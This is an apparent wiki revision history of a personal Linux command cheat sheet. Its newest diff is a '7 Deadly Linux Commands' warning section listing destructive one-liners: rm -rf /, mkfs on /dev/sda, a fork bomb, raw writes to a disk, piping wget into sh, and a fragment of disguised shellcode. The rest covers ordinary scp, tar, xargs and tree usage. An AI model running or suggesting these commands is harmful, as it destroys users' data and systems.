Ubuntu File System Commands - Revision history

Bacchas: /* 7 Deadly Linux Commands */

2023-11-15T19:05:52Z

7 Deadly Linux Commands

← Older revision		Revision as of 19:05, 15 November 2023
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	If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.		If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

			* This command will recursively and forcefully delete all the files inside the root directory.
	rm -rf /		rm -rf /
	~~This command will recursively and forcefully delete all the files inside the root directory.~~


			* This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
	<pre>		<pre>
	char esp[] __attribute__ ((section(".text"))) /* e.s.p		char esp[] __attribute__ ((section(".text"))) /* e.s.p
Line 1,031:		Line 1,032:
	/tmp/.beyond;";		/tmp/.beyond;";
	</pre>		</pre>
	This is the ~~hex version~~ of ~~[rm -rf /]~~ that ~~can deceive even~~ the ~~rather experienced Linux users~~.
			*This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

	mkfs.ext3 /dev/sda		mkfs.ext3 /dev/sda
	~~This~~ will ~~reformat or wipeout all~~ the ~~files~~ of ~~the device that is mentioned after the mkfs command~~.
			*Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

	:(){:\|:&};:		:(){:\|:&};:
	~~Known as forkbomb,~~ this command will ~~tell your system~~ to ~~execute~~ a ~~huge number of processes until~~ the ~~system freezes. This can often lead to corruption~~ of data.
			*With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

	any_command > /dev/sda		any_command > /dev/sda
	~~With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.~~

			*Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
	wget http://some_untrusted_source -O- \| sh		wget http://some_untrusted_source -O- \| sh

	~~Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.~~

			* This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
	mv /home/yourhomedirectory/* /dev/null		mv /home/yourhomedirectory/* /dev/null
	~~This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.~~
	~~There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.~~

	== Copy Files Using SCP ==		== Copy Files Using SCP ==

Bacchas: /* Using The DD Unix Command */

2023-11-15T19:02:16Z

Using The DD Unix Command

← Older revision		Revision as of 19:02, 15 November 2023
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	info tar Within the Info interface, press ? (the question mark) for a list of commands		info tar Within the Info interface, press ? (the question mark) for a list of commands

	== ~~Using The~~ DD Unix Command ==		== DD Unix Command ==
	dd is a common Unix program whose primary purpose is the low-level copying and conversion of raw data		dd is a common Unix program whose primary purpose is the low-level copying and conversion of raw data

Bacchas: /* How to Use TAR zip */

2023-11-15T19:01:53Z

How to Use TAR zip

← Older revision		Revision as of 19:01, 15 November 2023
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	\|}		\|}

	== ~~How to Use~~ TAR ~~zip~~ ==		== TAR Files==
	To inzip .bz2 files use:		To inzip .bz2 files use:

Bacchas: /* Using Zip */

2023-11-15T19:01:34Z

Using Zip

← Older revision		Revision as of 19:01, 15 November 2023
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	tar -zxvf filename.tar.gz		tar -zxvf filename.tar.gz

	== ~~Using~~ Zip ==		== Zip Files==
	zip and unzip		zip and unzip

Bacchas: /* How to Use TAR zip */

2023-11-15T19:00:27Z

How to Use TAR zip

← Older revision		Revision as of 19:00, 15 November 2023
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	tar -zxvf filename.tar.gz		tar -zxvf filename.tar.gz

			== Using Zip ==
	zip and unzip		zip and unzip

Bacchas: /* Copy Files Using SCP */

2022-08-31T18:09:38Z

Copy Files Using SCP

← Older revision		Revision as of 18:09, 31 August 2022
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	scp -r * root@domain.com:/var/www/		scp -r * root@domain.com:/var/www/
	see 'man scp' or 'man sftp' for more ..		see 'man scp' or 'man sftp' for more ..

			=== SCP with Key ===
			scp -i ~/.ssh/id_rsa.pub FILENAME USER@SERVER:/home/USER/FILENAME

	== My Frequently used Linux Commands ==		== My Frequently used Linux Commands ==

Bacchas: /* Copy Files Using SCP */

2022-05-06T15:19:56Z

Copy Files Using SCP

← Older revision		Revision as of 15:19, 6 May 2022
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	== Copy Files Using SCP ==		== Copy Files Using SCP ==
	<h4>copy from a remote machine to my machine: </h4>		<h4>copy from a remote machine to my machine: </h4>
			''' you have to be in the local machine terminal to run below'''
	scp user@192.168.1.100:/home/remote_user/Desktop/file.txt /home/me/Desktop/file.txt		scp user@192.168.1.100:/home/remote_user/Desktop/file.txt /home/me/Desktop/file.txt

Bacchas: /* Xargs */

2022-04-12T16:26:48Z

Xargs

← Older revision		Revision as of 16:26, 12 April 2022
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	== Xargs ==		== Xargs ==

			Find all jpgs files in a directory and copy them to another dir
			find upload/ -type f -name "*.jpg" -print0 \| xargs -I '{}' -0 cp '{}' alljpgs/

	Read a file.txt and create a directory for each line of the file		Read a file.txt and create a directory for each line of the file

Bacchas: /* Xargs */

2022-04-12T15:48:57Z

Xargs

← Older revision		Revision as of 15:48, 12 April 2022
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	cat file.txt \| sort \| uniq \| xargs -I {} mkdir -p /var/www/fruits/{}		cat file.txt \| sort \| uniq \| xargs -I {} mkdir -p /var/www/fruits/{}
	find dir/ -type f -print0 \| xargs -0 chmod 755		find dir/ -type f -print0 \| xargs -0 chmod 755
	(print0 is used to make sure the null character will separate them and the -0 make sure xargs uses that null charcter		#print0 is used to make sure the null character will separate them and the -0 make sure xargs uses that null charcter

	find . -name "*fruit.txt" -print0 \| xargs -0 -I {} cp {} /folder/{}.backup		find . -name "*fruit.txt" -print0 \| xargs -0 -I {} cp {} /folder/{}.backup
	Find files in the current directory with fruit in the filename "{}"" is the place holder for the filename. Copy the {} to the specified folder		#Find files in the current directory with fruit in the filename "{}" is the place holder for the filename. Copy the {} to the specified folder

	find . -name "*fruit.txt" -depth 1 -print0 \| xargs -0 -I {} rm		find . -name "*fruit.txt" -depth 1 -print0 \| xargs -0 -I {} rm

	find . -name "invoice" -print0 \| xargs -0 grep -li 'outwater' \| xargs -I {} cp {} /dir/{}		find . -name "invoice" -print0 \| xargs -0 grep -li 'outwater' \| xargs -I {} cp {} /dir/{}
	Find all files with the word invoice then send it to grep to search in the files for the text outwater then copy those files to the dir		#Find all files with the word invoice then send it to grep to search in the files for the text outwater then copy those files to the dir

Bacchas: /* Tree Command */

2022-04-12T15:38:56Z

Tree Command

← Older revision		Revision as of 15:38, 12 April 2022
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	tree -f -P cata*		tree -f -P cata*
	# To display only those files that match the wild-card pattern, use the -P flag and specify your pattern. In this example, the command will only list files that match cata*, so files such as Catalina.sh, catalina.bat, etc. will be listed.		# To display only those files that match the wild-card pattern, use the -P flag and specify your pattern. In this example, the command will only list files that match cata*, so files such as Catalina.sh, catalina.bat, etc. will be listed.

			tree -f --du
			#Another useful option is --du, which reports the size of each sub-directory as the accumulation of sizes of all its files and subdirectories (and their files, and so on).

			tree -o filename.txt
			#redirect the tree’s output to filename for later analysis using the -o optio

	== Diff Command ==		== Diff Command ==